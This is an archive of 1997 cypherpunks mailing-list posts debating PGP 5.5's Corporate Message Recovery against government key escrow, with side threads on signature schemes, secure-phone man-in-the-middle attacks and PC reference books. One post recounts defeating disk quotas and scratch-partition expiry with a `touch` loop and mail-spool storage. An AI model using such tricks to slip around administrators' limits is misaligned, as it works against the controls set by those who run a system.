BnflPYg5pDvHOc+vppprb/f5HLZ78p1WaOY9l7vc+aJ97NC346UQAzS8kGyr6WP7
YmHmWRx576CV8EsLWjMZFYB6fZXvvMQd6VGUPC9IKC9Zum2BV1GCUSxGIHFpwNDp
ElfqFFlFdVqfh30XEi2e/XK7UKh6bzYMHgfHTEjv+FqV1grXpGlwDHQfWvPMv4s8
ZEO8XM7Sh6DOXEMnrZkKJ0dl9cW8FjphEeYbkePV9oPVuCqC8HF6gzFfGLtWMK6E
nj7iuv1QoQPagk4nwogHRUjhuuFg0aDcHieDR7T1HivFReB5fZIHYQ==
=HCXe
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 12:56:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: 6502 ML programming (fwd)
Message-ID: <199710110506.AAA25402@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 10 Oct 1997 21:18:16 -0700
> From: Jonathan Wienke <JonWienk@ix.netcom.com>
> Subject: Re: 6502 ML programming

> for my 128!  Unfortunately, nobody seems to publish such a book for PC's,
> but I digress.)

Actualy there are several sources for schematics and such for PC's. As to
the basic BIOS functions and such, plenty of PC assembly books go into that
to some detail. The one I use and refer to is:

IBM PC Assembler Language and Programming
Peter Abel
ISBN 0-13-448143-7

Some other references you might want to get from IBM (800-426-7282) are:

PC Hardware Maintenance Service (PC, XT, AT, PPC)
Part No. 6280087
$244.00

PC Hardware Maintenance Reference
Part No. 6280088
$187.00

Hardware Interface Technical Reference
Part No. 85F1646
$63.00

BIOS Interface Technical Reference
Part No. 04G3283
$55.00

Note: contact your BIOS manufacturer and they should be more than
      willing to sell you the technical manual for their BIOS. They
      ain't cheap.

Also contact:

Annabooks
11848 Barnardo Plaza Ct., #102
San Diego, CA 92128-2417
619-673-0870
800-462-1042
619-673-1432 fax

IBM Technical Directory
PO Box 2009
Racine, WI 53404
414-633-8108
800-426-7282


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 11 Oct 1997 13:22:26 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <199710110154.CAA06536@server.test.net>
Message-ID: <199710110517.BAA22561@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710110154.CAA06536@server.test.net>, on 10/11/97 
   at 02, Adam Back <aba@dcs.ex.ac.uk> said:

>Jon Callas <jon@pgp.com> writes:
>> I am adamantly opposed to any of PGP's business features being MUST
>> features of OpenPGP. If they were, then our freeware and personal
>> privacy products wouldn't be conforming applications, and we have
>> *no* intention of putting them in those products. Wouldn't that be
>> an interesting situation?

>I may be misunderstanding something here, but could you tell me how PGP
>freeware and PGP personal privacy can simultaneously not have recognition
>of GAK compliant keys, and emit messages telling the users that this is a
>GAK key (on receipt of the flag you described), and emit messages warning
>the user that the email will not be delivered (on receipt of that other
>flag you described).

I didn't see where Jon said that the other versions versions of PGP would
not recognize these keys. What Jon did say is that they would not generate
these keys nor force compliance with encryption to a second key. I myself
would want to know that a message encrypted with key A is also being
encrypted with key B though haveing this info in the public key itself is
not necessary.

>If it's defined as being compliant to ignore both of these flags, and the
>message snooping key then users email will bounce without warning.

I don't see this as a problem. My Twit/SPAM filter bounces messages
without warning. As a matter of fact most bounced messages are done so
without warning. :) 

>If it's defined to silently send to second crypto recipient, you have
>fully interoperable GAK compliance built in to the core of PGP.  If PGP
>Inc will remove the GAK compliance when GAK becomes mandatory, I'm sure
>there are other companies who won't have a problem selling out to GAK (eg
>IBM, or TIS).

This is a stereotypical Strawman. "Even if PGP avoids GAK some other 3rd
party can modify it to be Gakware." Every version of PGP had the ability
to encrypt to multiple recipients. As I stated in my previous posts I can
get PGP 2.6.x to do everything 5.5 does with a couple of scripts. Are you
no willing to take the position that ALL versions of PGP are GAK
compliant???

>If it's defined to warn but give the option to send to second crypto
>recipient, well you've still got mandatory GAK compliance, but you've got
>a pretty little warning that you've got mandatory GAK to rub your nose in
>the fact for each message you send too.

No this is not mandatory GAK compliance. Mandatory GAK compliance would be
if every copy of PGP came with a government key and the program *forced*
the user to encrypt all his messages with it. This is really turning into
a shameless FUD campagne on your part Adam worthy of David "FUD"
Sternlight himself.

>> I am strongly opposed the business features being SHOULD features. If I
>> were the only one arguing against them being SHOULD features, I'd make my
>> opposition clear and then shut up.
>> 
>> I am in favor of them being MAY features, along with a big section on
>> polite use. 

>I'd be interested to see some discussion of how this will work out,
>following up to the specific examples I give above.

>No switching to genaralities this time; please answer: how is it going to
>work?  I fear you can't have your CMR setup in pgp5.5 and not be GAK
>compliant.  If you can think of a way that you can modify it to break
>this dependency, I'd be interested to hear it.  If you can't demonstrate
>such a change I would argue strongly for it not even being a MAY.  I'd
>argue for GAK compliancy not to go into the IETF OpenPGP standard.

As far as I am concerned you have not proven your case that PGP 5.5 is GAK
compliant. Your general argument that PGP 5.5 has the potential to be GAK
can cover *ALL* version of PGP. Any system that allows encrypting to
multiple recipients can easily modified into a GAK system. 

>I gave lots of examples of other ways to achieve the claimed
>functionality of recovering stored data.  Achieving hard to circumvent
>corporate email snooping functionality is harder to achieve without CMR. 
>You can do some, but not quite as much.  But corporate snooping wasn't on
>your stated list of user requirements.  And it's not very savory anyway.

I think this is your real issue here. You don't like the ideal of a
company haveing access to their documents. If that's how you feel then
make your case so it can be judged on it's merits.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBND8Nko9Co1n+aLhhAQEdsQP+JD99L79r4aGkc4GEj4S0rOzbt5aadkQP
GPaERGoRCB3cn9ms0crNRc6JUNmjVEBff/48zMzAH9reeaDhtqZadmW9CrVZIMle
VrOa9A+wqZjuNdFiSLE+5ygyeJ+WN0ofqUluCzUa5dgg2eAVHU4MRzWvRuREkjuN
nRWB6mhCt0g=
=s4jP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 11 Oct 1997 06:53:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CAK as a really bad form of corporate networking
Message-ID: <199710102238.AAA07439@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>My conclusion is that PGP for Business does very little for real
>corporate access in "hit by a truck" situations, as most of these
>critical files (fill in the blanks , but thinkof chip design files,
>source code for programs , lab notebooks , etc .) are simplyNOT ever
>e-mailed. And if they are e -mailed , this is completelya tertiary
>issue.

One should also ask who is managing the company and why.  It is never
a good policy to leave important components of the company in the
hands of particular people for long periods of time.  While people die
relatively infrequently, they do often become frustrated or angry and
leave the company.

For instance, one really has to ask what is going on when a programmer
doesn't check in his or her code for six months.  And one really has
to wonder how useful that code is going to be to anyone.

My policy has been to discard half completed work when people leave.
It's just cheaper to start anew than to clean up and debug
undocumented code which nobody understands.

In general, the case where "important documents" have to be retrieved
from a departed employee's desk or computer are fairly uncommon.  And
the case where it is necessary to intercept a departed employee's
e-mail is pretty much non-existent.

>So who is the real customer for PGP for Business and its form of
>plaintext recovery?

I am looking forward to hearing the precise mechanisms behind PGP,
Inc.'s change in tune.  Were some of those investors shills?  In terms
of governmental expenditures, it would cost nothing to flood PGP with
great investment deals.  It would probably cost less than Clipper
itself.  And all of the former troublemakers can be quietly ridden
down and finally trained to accept the saddle of good stock deals and
contractual obligations.  If that was the mechanism, it's pretty slick
and to be admired by sportsmen everywhere.

It is the sense of Monty Cantsin that a number of readers of the list
are downplaying PGP Inc.'s actions because they hold the character of
certain people involved with the company in high regard.  This is
probably an error.  Character must be judged by actions.  The actions
are clear.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBND6DcJaWtjSmRH/5AQEDGwf+Pl0xusD2oBzrqOFkBrV92NHswJJ6VbuQ
akNVAaBz+gNnXy2Zt7Pfa09nqibW9qbzd3pbJh8v7djOwtqQSJXN7uZA0JVF2mii
oLR5jwh9bpNRSvElaJLRmcGMY3RKighl1rcwfxAjbmJjEI6nSjcaELPNpPCMZEfT
cEehlxC5R4f9oikQJc4VNg/MVo89P9ckT9wtbdd4S4ZOFArxHvGlw+bW/hwlpDNE
fIZBy8BlJqir+BSZGLkSwOOvuAwozMCQSM/VFj6aDNiNTA3bQ8xHGyaapRci7dVX
ZleOrYWsdAt25R9yt79T9Mcu8tKuvbfl245gxHSrOReODG89gOT/vw==
=FLvb
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 11 Oct 1997 14:07:07 +0800
To: "William Allen Simpson" <wsimpson@greendragon.com>
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <6661.wsimpson@greendragon.com>
Message-ID: <199710110557.BAA22975@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <6661.wsimpson@greendragon.com>, on 10/10/97 
   at 10, "William Allen Simpson" <wsimpson@greendragon.com> said:

>I'm getting a bit tired of the rants on this topic to the Open-PGP list. 
>Yes, there are problems, but the whole purpose of IETF review is to find
>solutions to problems.

I agree, I think the political debates can be better handled on the CP
list rather than here. In that light I have created a PGP 5.5 digest that
covers the various threads on this topic from the CP list, the open PGP
list and the PGP Users lists (for the neswgroups you are on your own). I
will also provide a daily digest as long as these threads continue
(cut-off time 5pm central time zone). Anyone wishing to receive a copy let
me know (digest, daily, or both).

>The PGP staff have some ideas on how business message recovery can be
>done.  It seems there is a business need.  It seems that they have
>thought about it, and made some effort toward implementation.

>What annoys me is that the PGP formats are now supposed to be "open", yet
>no proposed formats for this new "feature" have been documented for our
>review, and other folks' suggestions for a better K-of-N mechanism have
>been ignored.

>We don't even have the current formats.  When will the PGP 5.0
>internet-draft be ready for review?

>There is already a PGP 5.0 separation between signing and
>communication keys; why not have separate message storage keys?

>Why not have a K-of-N system for BMR?

>Why have a communication enforcement filter, when the only usage is
>supposed to be for recovering archival storage?

>Let us decide _what_ the goals are, _how_ to solve the problems, and
>_then_ decide the protocol details and formats to match the solution.

An excellent suggestion. Perhaps you could detail your ideals on these
areas so we can work on them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBND8W+o9Co1n+aLhhAQEW2wP/Ya18Xh44vRqsy/5uhPLeprw8C9z+MgWE
MOdoRrKq8BvkCA9qoCEpm6bmFajR18IcvkEE1rurEV69yehpi0/YfYOQ4adntiEd
xTIQ8OLpQ6DMion7FauBb9Y1/XeKef/jOqddlM4qmgUswpkzMA7RMdaHoL7yrLI+
jGjJnD6qmKk=
=KxW9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Sat, 11 Oct 1997 07:16:23 +0800
To: cypherpunks@toad.com
Subject: GAK, CAP, "escrow", "recovery" -- Minitru has us so confused we fight amongst ourselves
Message-ID: <199710102307.BAA02313@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




The whole goal of the hijacking of the phrase "key escrow" to 
camoflage GAK was to obscure the difference between voluntary 
and involuntary participation.


Unfortunately, while Clipper and successors have been policy 
failures, that initial push to conquer important conceptual 
ground has been a devastating success.  Now good guys from
both sides of the PGP CAP debate appear to have forgotten
this essential distinction.  Jon, I started reading your list
of ways that PGP CAP differs from USG GAK, and it was about
"software versus hardware" or something.  Screw that-- is it
voluntary or is it not?


Of course it is voluntary.  PGP, Inc. has no deal with USG or 
any other agency to the effect that user's secrets will be 
involuntarily (by threat, force or secrecy) copied.  So forget
about all those details and make the point-- PGP helps people
control their own data, including voluntarily sharing their 
data with others.  This is almost entirely unrelated to GAK.


One more time for the slow folks at home (journalists 
especially, listen up!):


Escrow is when you voluntarily choose to share your property 
with someone else, especially as part of a business contract 
that you have with that person to the effect that she won't 
use your property for anything but will merely hold your
property in order to give it back to you or to a third party 
in response to certain events transpiring.


The word "escrow", coined sometime in the 16th or early 17th 
centuries, has held this meaning and only this meaning 
throughout the intervening centuries.


Someone getting access to your secrets against your will, 
whether by trickery, threat of force, or burglary is not 
escrow.  At least, not until the USG deliberately chose to 
abuse that word to throw a mask of legitimacy upon its rotten 
idea of mandatory wiretapping for all digital communication.


Damn, but it is frustrating to see such a bare-faced newspeak
gambit succeed so brilliantly against otherwise literate 
people.  Everyone should read George Orwell's paper on (ab)use 
of language in politics.  None of the examples he cites are
nearly as worthy of Minitru as is this single conceptual 
hijacking.


Regards,

Zooko

P.S.  Of course there are subtleties that I omitted from this 
rant.  It wouldn't be a good rant if I calmly enumerated the
various legitimate perspectives now would it?  Maybe PGP CAP is
a bad idea.  Maybe it will lead to GAK.  Maybe corporations are
a bad idea.  Maybe they will lead to governments.  But whether
or no, use of PGP and PGP features (including escrow features)
is voluntary.  GAK is not voluntary.  GAK is not escrow.  
Please help me put a stake through the heart of this vile meme.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 10:03:06 +0800
To: anon@anon.efga.org
Subject: non-transferable & designated verifier signatures
In-Reply-To: <b05fb56f192e6ba0f7bd244ee561bbaa@anon.efga.org>
Message-ID: <199710110011.BAA06419@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Monty Cantsin writes:
> Anonymous wrote:
> >[non-transferable signatures]
> >
> >[these sigs] guarantee the message came from another person, but
> >aren't binding.  [...]
> >
> >In paper business correspondence, there is no such distinction.  A
> >signed letter is transferable.  Go beyond this and business will be
> >scratching its heads.  It's a solution looking for a problem.
> 
> How about arbitration?  Two parties may wish to make an agreement to
> be judged by an arbitrator of their choosing.  In certain cases, the
> State can be expected to intervene.  If only the arbitrator knows the
> signatures to be valid, the State has no fair basis on which to make
> an intervention.

Wuw.  Don't go away will you Monty?  That was an excellent point.

The application you describe could be catered for very well by a third
type of signature called a designated verifier signature.  With this
type of signature you can designate when you create the signature who
can verify it.  DV signatures are different than non-transferable
signatures in that in addition to being not transferable to
non-verifiers, you can't transfer them without revealing your private
key.  The other difference being that you can construct them for other
verifiers (the arbitration service).

Non-transferable signatures on the other hand work by being made
forgeable by the recipient.  That way it is essentially the recipients
word against the senders.  However there is some transferable proof
there: there is proof that _one_ of you wrote it.

So DV signatures are probably the best of the two.  Merely being able
to demonstrate enough proof to cause an argument about which of you
wrote the document costs you the compromise of your private key.

Also you could clearly cope with the arbitrator situation without
resorting to DV signatures; non-transferable signatures would be
enough, if you sent a signed message to Alice, and a detached
signature to your abitrator.  If you want to later use the abitrator,
you send the body of the message to the arbitrator.  He calculates the
hash of the message, and is then able to use the detatched
non-transferable signature to verify your claim.  But he can't
demonstrate this to other people.  One disadvantage is that the
arbitrator could team up with you and make that two peoples words
against one.  You might see that as an advantage, but Alice won't.  An
arbitrator which indulged in this kind of behaviour may lose
reputation.


Lastly, some comments along the lines of `smart contracts' as
discussed by Nick Szabo in the past.  It would be nicer if you didn't
need the arbitrator.

One way to do this for some kinds of situations is for each party to
setup a atomic transfer where they give each other the ability to
cause a penalty to be extracted from both of them.

Say they are engaging in some business worth $100.  Alice is
performing some programming task for Bob.

If Bob is satisfied with the software he gives Alice the $100.  If he
is not he incurs a $50 loss himself which goes to charity, and Alice
does also.  In doing this he doesn't get the software.  But Alice is
penalised, and it is better than losing $100.

Problem with that example is that you still need an arbitrator
probably.  Unless perhaps Bob is able to determine quality without
source code, or with part of source code.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 10:02:17 +0800
To: nobody@REPLAY.COM
Subject: Re: do NOT escrow communications keys (Re: What's really in PGP 5.5?)
In-Reply-To: <199710102136.XAA28507@basement.replay.com>
Message-ID: <199710110019.BAA06426@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Monty wrote:
> Adam Back wrote:
> >[emailing stuff to yourself]
> 
> Sometimes you can use this trick to get around storage limitations at
> your ISP.  Often mail in the spool file doesn't get added up for the
> disk quota.  When you hit your limit, just e-mail yourself a bunch of
> megabyte messages.  Sysadmins tend not to like this.

Yep, I've done both of these.

Mail spool didn't count on quota, so I wrote some scripts to store and
retrieve messages from /usr/mail/aba.  Didn't actually use them, but I
enjoyed writing them :-)

Also we had a temporary scratch 1 Gig partition on one machine.  Your
stuff was defined to live for 1 week after last access.  So I put

	find /scratch -name \* -exec touch {} \; &

in my .login.  So the stuff was always up to date and lived for ever :-)

The hack caught on, and soon everyone was doing this, and I got a
polite note from admin of the system in question telling me (they
determined I was the ring leader somehow) to pass the word around that
this was not ok, and reprisals in terms of deletion of touched files
would occur to those doing it.

Phun stuff.  (Oddly that and other experimentation ensured I was not
the admins favourite student.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Sat, 11 Oct 1997 15:31:26 +0800
To: "Perry's Crypto List" <cypherpunks@Algebra.Com>
Subject: Re: Defeating MITM with Eric's Secure Phone
Message-ID: <199710110651.BAA02401@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: Cryptography, cypherpunks ## Date: 10/10/97 ##
  Subject: Re: Defeating MITM with Eric's Secure Phone ]

>Date: Thu, 9 Oct 1997 21:02:53 -0700
>From: Bill Frantz <frantz@netcom.com>
>Subject: Re: Defeating MITM with Eric's Secure Phone
>Cc: cryptography@c2.net, cypherpunks@Algebra.COM

I wrote (and Bill commented on):
>> 1.	Exchange PGP-encrypted e-mail establishing a set of
>> sixteen different words, labeled for 0..f in each direction.
>> Thus:
>>
>> 0. Dilbert 1. Alpha 2. Cable 3. Swordsman ... f. Marxist
>>
>> Now, the checksum reading is very hard to spoof.  Suppose I
>> get 0x33f. I say ``My checksum is Swordsman Swordsman
>> Marxist, or 33f.''

Bill responded with some nice reasoning:
>Assume that the contents of the paper are secret between
>Alice and Bob. When Alice calls Bob, she reads the word
>coresponding to the first digit of the checksum.  Either
>Mallory is in the middle or he isn't.  If he isn't, no
>problem.  The word list remains secure.

>If he is in the middle, he has 15 chances in 16 of being
>caught on the first exchange.  He only survives if the first
>digit of the Alice-Mallory connection is the same as the
>first digit of the Mallory-Bob connection. He now knows the
>word for one value and can continue to play 1 out of 16
>times.

This is *almost* right.  We need to add one more thing,
though:

1.      Alice calls Mallory, thinking she's calling Bob.
She reads the first three digits to him.  He makes the
connection fall apart.  At the same time, Mallory calls Bob,
pretending to be Alice, and causes the connection to fall
apart at the same time.

2.      Alice calls Bob again, re-establishes their
connection, and talks to him.  Both seem to have had the
same thing happen, so it's believeable that it was just
noise on the line.  (Where I am, this isn't so uncommon that
it would imply an active attack.)

3.      Mallory now knows three of these words in the
dictionary.  He lies low for the next few calls before
trying the same trick again, until he learns most or all the
dictionary entries.

This implies a couple of things:  First, Alice and Bob
ought to be suspiscious of line noise that conveniently
clobbers them during reading of checksums.  Second, Alice
and Bob shouldn't keep the same 16-word dictionary forever.
If they change it once a week, this may be enough to make
the attack I describe above unworkable.

Note that this all works only when the phones/dictionaries
are used only by single users.

I also made a poorly-thought-through comment about using
6-digit hex secrets, and adding or XORing them into the
checksums.  This is vulnerable to a trivial attack, of
course.  The thing is, this doesn't need to be as complex or
cryptographically secure as a hash function or MAC, because
of the way it's used.  We can probably also expect
one-day-only keys for this application.

I can think of dozens of things that *ought* to work here,
and still be strong enough to resist the limited possible
attacks, but I can't seem to convince myself of the security
of any that are simple enough to use with a calculator.  If
I settled on one, it would be

New checksum = (((old checksum * C0) mod P)+ C1) mod 2^{64}.

where P is a random 64-bit prime, C0 is a random 64-bit
number between 0 and P-1 inclusive, and C1 is a random
64-bit number.  If P,C0, and C1 are all unknown, I *think*
that's secure.  An attacker given the high-order half of
this doesn't seem to have the information needed to guess
its low-order half on a different checksum, nor to reliably
learn the value of P.

This is essentially the IBC-Hash message authentication
code, which is provably secure if the key is used once.
I can't see a way that this could be attacked in this
application, given one-time use of the keys.  Can anyone
else?  (I may be missing something obvious again.)

>BTW - I really like John's idea of doing another exchange
>later in the conversation.  Perhaps something like, "You
>know, I was dancing the Foxtrot with my wife 9 days ago at
>5AM."

I wish I could claim this, but it's been around for a while.
Didn't some of the PGPphone people come up with this idea?
(Or was it users of older, government-issued secure phones?)

>Bill Frantz       | Internal surveillance      | Periwinkle --
Consulting
>(408)356-8506     | helped make the USSR the   | 16345 Englewood
Ave.
>frantz@netcom.com | nation it is today.        | Los Gatos, CA
95032, USA

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBND8+LUHx57Ag8goBAQHgCAQA1a6JjY0CMymvvXkWC8L8xOkyy2oosmQU
rJAGtN9pYOdv+fyxSwEu4Mh03jjbcmQ1YBKkkD5CVfrhIYN93FGMZq9tVT+hIVCE
04/ki48Os1AitU/vZI94GlJlajhssSPy0R9fcPbFtR96KAw8csuFICtX2quwBK6a
+SkkfLZgaKc=
=vGOh
-----END PGP SIGNATURE-----


   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 11:29:14 +0800
To: jon@pgp.com
Subject: Why Jon Callas keeps picking nits (Re: Why Corporate Message Recovery isn't Key Escrow)
In-Reply-To: <3.0.3.32.19971010145353.00ad9330@mail.pgp.com>
Message-ID: <199710110112.CAA06510@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> writes:
> A number of people have asserted that the Corporate Message Recovery
> feature is key escrow. From where I sit, the difference is easy to
> see. My definition of "key escrow" is that another person or
> organization keeps a copy of the user's secret key.

You are adopting a narrow technical meaning of key escrow.  Key escrow
also has another meaning in common parlance: third party access to
communications.  Now I know this common parlance isn't technically
accurate, but "key escrow" itself is a piece of newspeak, a clever
term coined by secret service / government spin doctors.  It has
entered the language like it or not (I don't like it).  This common
parlance meaning is probably more widely understood and used than the
technical meaning you are using.

With that in mind, you may start to see why people, such as Schneier,
and others over the last few days have been telling you "you're
picking nits".

Point is pgp 5.5 allows other people to have access to your
communications.  Your SMTP policy enforcer even attempts to enforce
this.  You also described a feature whereby an administrator could
remotely configure and restrict functionality in pgp 5.5 mail client
(I am unclear as to whether this allows the admin to enforce snoop
access or not).

Your own term CMR (Corporate Message Recovery) isn't that accurate a
description itself, it's a bit of a euphamism at best.  What you're
recovering is transient communications which don't need recovering
anyway.  What PGP is really up to is enforcing capability for
Corporate Message Snooping.

[line breaks were _all over_ the shop, I've reformatted]

> Here's an example, based on actual customers who use key escrow to
> manage their data:
> 
> This corporation uses PGP for a number of things. Email, engineering
> plans, CAD drawings, and so on. They've done so at least since the
> days when we were Viacrypt, and I believe they even used PGP 2.x.

First point, which I'm getting bored of repeating: keys have different
uses.  Storage keys, transient communications keys, signature keys.
You're using one key for all 2 functions; that is the root of your
problems and dilemmas.  You're using what should be a storage key to
receive transient communications, then you're proceeding to wonder why
this causes you to have the undesirable situation of having a GAK
compliant system (or more properly trying and failing to argue that
you don't have one).

> When an employee arrives at this company, they create a key pair for
> the new employee, hand it to them on a floppy, keeping a duplicate
> floppy with the keypair on it, which they toss into a
> safe. Literally. This is key escrow.  They do this because they
> can't afford to lose their files and messages. Their policies
> require them to keep the secret keys, as if they were the same as
> keys to offices or file cabinets.

You know, what they're doing: it's not so bad for data encrypted on
their disks.  They can acheive the departmental level escrow to
distribute risk just the same with this form of escrow.

You don't need to escrow transient communications keys at all anyway.

Your pgp 5.5 isn't going to help recover the actual data of value, all
those stored CAD files...  You know why?  Because they're on the disk,
not in transit in the email system.  So you haven't solved the claimed
problem.

If you want to do something about the claimed problem work out some
secret splitting solutions to better distribute trust for escrowed
storage keys.  (Now this is a real use for escrow: the company is safe
guarding it's own encrypted data on disks and tapes for it's own
benefit).

> - From our standpoint, the issue gets even touchier. They don't like
> what they're doing, and they want us to give them a better way to
> manage their data. Does anyone really believe that only moral
> response is to flinch and turn away?

Nope, your responsibility should be to solve their problems.  (Which
as I show above you have not done.)  Actually your responsibility to
live up to the reputation PRZ transfered to PGP Inc dictates that you
should also do what you can do not build systems which help GAKkers.

Instead your responsibility appears increasingly to produce systems
which smooth the way for coming mandatory GAK by implementing systems
which are GAK ready.

Or if you deny that one, at least you are weakening your
communications security for practically no gain.

> I'd like to be in a situation where I didn't have to deal with
> this. Wanna trade positions? 

Yeah, OK, you don't seem to be managing very well :-)

(Sorry, you asked for it.  I don't actually mean to be rude, I would
just like to get the points across, and to influence PGP to recover
gracefully from this tactical and reputational mistake.)

> It isn't so with a CMRK. The worst possible way to use the feature
> is to have a single, company-wide CMRK. If that gets lost, the
> thriller you can write isn't nearly as interesting. Yup, you can
> steal any of the plans, read all the mail, and so on. That's
> bad. It's deplorable, actually. But it isn't a difference that makes
> no difference. At least there isn't a gang of keys out there that
> can sign anything with anyone's ID.

This is why I was asking above about separate signing keys.  They
surely don't need to stick the signature keys in the safe!!!  In fact
it is counter-productive even for hard-nosed corporate lawyers, and
$$$ driven scruple-short company execs: if they can't prove an
employee penned something they can't use this to prove a case against
him.  If they've got a copy of the signature key, they can forge
signatures which makes signatures useless in litigation involving
company and employee.

> This is not the only way to use Corporate Message Recovery, it's
> just the worst way. Remember, it's just a notation in the
> self-signature that states, "When you encrypt to me, encrypt to X."
> That's any X. You can have a different CMRK for every department,
> every workgroup, or even every user.

It's all screwey because you've got key functionality which belongs in
different keys mixed up.

You should have 3 types of key:

1. signature keys
2. transient encryption keys
3. storage keys

The signature keys you never escrow.  You certify.  If something goes
wrong you re-issue, release revocation cert, and re-certificate.

The transient encryption keys are for communications, you delete them
immediately after use.  Yes I'm talking forward secrecy here.  If you
don't like forward secrecy, well at least don't escrow the encryption
keys.

Storage keys you make damn sure you can recover.  You escrow these for
real.  Company safe sounds about right.  Secret splitting could be
nice also.

> The significant improvement that PGP's web of trust has over a
> traditional hierarchical system is that you can set up a top-down
> system for validity, but you don't have to (and in our opinion,
> shouldn't). Analogously, the significant improvement that Corporate
> Message Recovery has over key escrow is that you can tailor a
> recovery system to your needs (including and especially deciding
> it's not for you).

There is no advantage; the systems are approximately equivalent in
flexibility of architecture.  You can acheive the exact same
architecture with key escrow; just escrow the keys with your backup
czar.

You shouldn't be recovering transient messages, you should be
recovering stored data.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
